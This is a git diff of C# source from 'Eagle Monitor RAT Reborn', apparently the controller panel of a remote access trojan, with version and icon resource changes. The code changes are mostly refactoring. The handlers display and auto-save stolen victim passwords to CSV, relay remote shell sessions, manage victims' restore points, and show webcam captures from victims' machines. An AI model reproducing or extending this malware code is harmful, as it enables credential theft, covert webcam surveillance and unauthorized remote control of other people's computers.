ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Clear(); foreach (object[] str in passwordsPacket.passwordsList) { - int rowId = ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows[rowId]; row.Cells["Column1"].Value = str[0].ToString(); row.Cells["Column2"].Value = str[1].ToString(); row.Cells["Column3"].Value = str[2].ToString(); row.Cells["Column4"].Value = str[3].ToString(); } if (Program.settings.autoSaveRecovery) - Utils.ToCSV(ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView, ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv"); + Utils.ToCSV(ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv"); return; })); } else - { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } + { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } } - catch { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } + catch { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } } else return; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs index 24f82932..cb3aa6e6 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs @@ -13,16 +13,19 @@ internal class RemoteShellStdOutPacketHandler { public RemoteShellStdOutPacketHandler(StdOutShellSessionPacket stdOutShellSessionPacket) : base() { - try + if (ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm != null) { - ClientHandler.ClientHandlersList[stdOutShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() => + try { - ClientHandler.ClientHandlersList[stdOutShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.AppendText(stdOutShellSessionPacket.shellStdOut); + ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() => + { + ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.AppendText(stdOutShellSessionPacket.shellStdOut); - })); + })); + } + catch { } + return; } - catch { } - return; } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs index 65612b46..80ab6180 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs @@ -13,19 +13,21 @@ internal class RemoteStartShellPacketHandler { public RemoteStartShellPacketHandler(StartShellSessionPacket startShellSessionPacket) : base() { - try + if (ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm != null) { - ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellGuna2ToggleSwitch.Enabled = false; - ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellGuna2TextBox.Enabled = true; - ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() => + try { - ClientHandler.ClientHandlersList[startShellSessionPacket.baseIp].clientForm.remoteShellStdOutRichTextBox.Text += "\n-------------New session started !-------------\n"; + ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2ToggleSwitch.Enabled = false; + ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2TextBox.Enabled = true; + ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() => + { + ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.Text += "\n-------------New session started !-------------\n"; - })); + })); + } + catch { } + return; } - catch { } - return; - } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs index 54557998..4aec304e 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs @@ -15,13 +15,13 @@ public DeleteRestorePointPacketHandler(DeleteRestorePointPacket deleteRestorePoi { try { - ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => { - foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows) + foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows) { if (int.Parse(row.Cells[0].Value.ToString()) == deleteRestorePointPacket.index) { - ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Remove(row); + ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Remove(row); break; } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs index 0bebb192..5e7f87bb 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs @@ -17,13 +17,13 @@ public RestorePointPacketHandler(RestorePointPacket restorePointPacket) : base() { try { - ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Clear(); foreach (RestorePoint restorePoint in restorePointPacket.restorePoints) { - int rowId = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows[rowId]; row.Tag = restorePoint.index; row.Cells["Column42"].Value = restorePoint.index.ToString(); row.Cells["Column43"].Value = restorePoint.description; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs index f338ec37..437aa64a 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs @@ -15,34 +15,20 @@ internal class RemoteCameraCapturePacketHandler { public RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket remoteCameraCapturePacket) : base()//, ClientHandler clientHandler) { - //TO TEST !!!!! - - try - { - ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamPictureBox.BeginInvoke((MethodInvoker)(() => - { - ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamHandler.hasAlreadyConnected = true; - if (ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)) != null) - ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)); - })); - return; - } - catch { } - - /*new Thread(() => + if (ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm != null) { try { - ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamHandler.hasAlreadyConnected = true; + ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.RemoteWebCamHandler.HasAlreadyConnected = true; if (ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)) != null) - ClientHandler.ClientHandlersList[remoteCameraCapturePacket.baseIp].clientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)); + ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)); })); return; } catch { } - }).Start();*/ + } } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs index 89fe3ff1..b643bc39 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs @@ -13,35 +13,24 @@ internal class RemoteCameraPacketHandler { public RemoteCameraPacketHandler(RemoteCameraPacket remoteCameraPacket) : base()//, ClientHandler clientHandler) : base() { - try + if (ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm != null) { - ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.BeginInvoke((MethodInvoker)(() => + try { - foreach (string camera in remoteCameraPacket.cameras) + ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.Items.Add(camera); - } + foreach (string camera in remoteCameraPacket.cameras) + { + ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.Items.Add(camera); + } - if (remoteCameraPacket.cameras.Count > 0) - ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.SelectedIndex = 0; - })); + if (remoteCameraPacket.cameras.Count > 0) + ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.SelectedIndex = 0; + })); + } + catch { } + return; } - catch { } - return; - /*try - { - ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.BeginInvoke((MethodInvoker)(() => - { - foreach (string camera in remoteCameraPacket.cameras) - { - ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.Items.Add(camera); - } - - if (remoteCameraPacket.cameras.Count > 0) - ClientHandler.ClientHandlersList[remoteCameraPacket.baseIp].clientForm.camerasGuna2ComboBox.SelectedIndex = 0; - })); - } - catch { }*/ } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs index d036f753..12b367ae 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs index 6ae91663..fedcd7c0 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs @@ -449,6 +449,26 @@ internal static System.Drawing.Icon icons8_download { } } + ///

+ /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). + /// + internal static System.Drawing.Icon icons8_electronics { + get { + object obj = ResourceManager.GetObject("icons8_electronics", resourceCulture); + return ((System.Drawing.Icon)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). + /// + internal static System.Drawing.Icon icons8_ethernet_on { + get { + object obj = ResourceManager.GetObject("icons8_ethernet_on", resourceCulture); + return ((System.Drawing.Icon)(obj)); + } + } + /// /// Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône). /// diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx index 17642b63..4d50f20a 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx @@ -671,4 +671,10 @@ ZSH
..\Resources\icons8_command_line.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\icons8_electronics.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\icons8_ethernet_on.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_electronics.ico b/Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_electronics.ico new file mode 100644 index 0000000000000000000000000000000000000000..2e7e43fb026142d04d652a1b54d7c6a1ec22515d GIT binary patch literal 4760 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 JQ8~&b=HEWt(sWmWW0G$vud8&fW z{9 z#8$=W39O9m+us{81~5-I=VbJnykR*H8v_>41Oa8(C+jnsVD-o3ACG*vcUP|}F1XGC z_Rhq2hLi1|2uu$bWOUp-;Ylopw_F&J2ePBhGM$HfqmI4YbqKjom#QDuT&= z8u|PZ5Y38yezu8GBdf5+7}i7yi>|I4dqpPR8`qlsb`+Bd2Dr+Kh-K4*nI1KkQCFn1v9|cK zq*^{Nol4}=nexu&1?8P;cRG`bbth7>PBp2 zJcSD0tt!wID)cFEFEXcqZy8Y*@`lr{oKn6Bp)!$9HPu9`(Z9+mBB++ap+N~wdn zOguTIeEwi}GSM?vU9%wFucn$(gUKYCO+*<3FN!jJAlsA9Bop0A8GOt*Fc#o*zyf+5 zj$VFoMQqWDwXa@}Kfo`F@^@WpvN?4ix;T;QO|QyEXQnd)*}$U?)kY0G&hS}-sd#kZ zoN5Iq4F{pR_7|EMP#X?vo->Yp?b?g>PQ1(b7-8&~nel9{C7n!X)ZPW^>fAZ$)p*RY z=%N$gLh4|Rd0@kxlecv2KM5|ww?bncH9y|dujbkj8SG$@(d`!H@pjMh1zH4|TzNG%hh+4kv|tQ)sy#591I zU}a=iE}qE^u2>My_8WN7r~{X2hZ|5sdQ-sNfL8LK{1ndip96Q#f3s)x!*8tFg1^Tv ziZXtYn$2Yr*=VP#$ve;rkYtAkUvFb2_zVs*v18{YdNS#3x-S=9l*kUoljp>?qNY-*aGc z>#_Y)M!$IHo>$*}yK>`Q6Hi)rS^c9|U-QL>JO4@jtaWF!qq^hdfBlcKAH492`j`J4 z`_LyN+BPV|&f34Razf^3Kdk@c<~LVXj{JV?)avwY@i~*9zv|Qa&vwkNJ-)v4IJsO zs4rWu@wl>>=WB}B9V~!p5`>AZ428SOEC$F*+mF*DlX>w}e3?3+rg8yearp|PNG@10 zayUS2I?2gQL_qeRa-JX!Y6-Nw$pe+Tw^Z+_&kgCgqw(s-Cp53gRr@;SLk%V$6hM|5 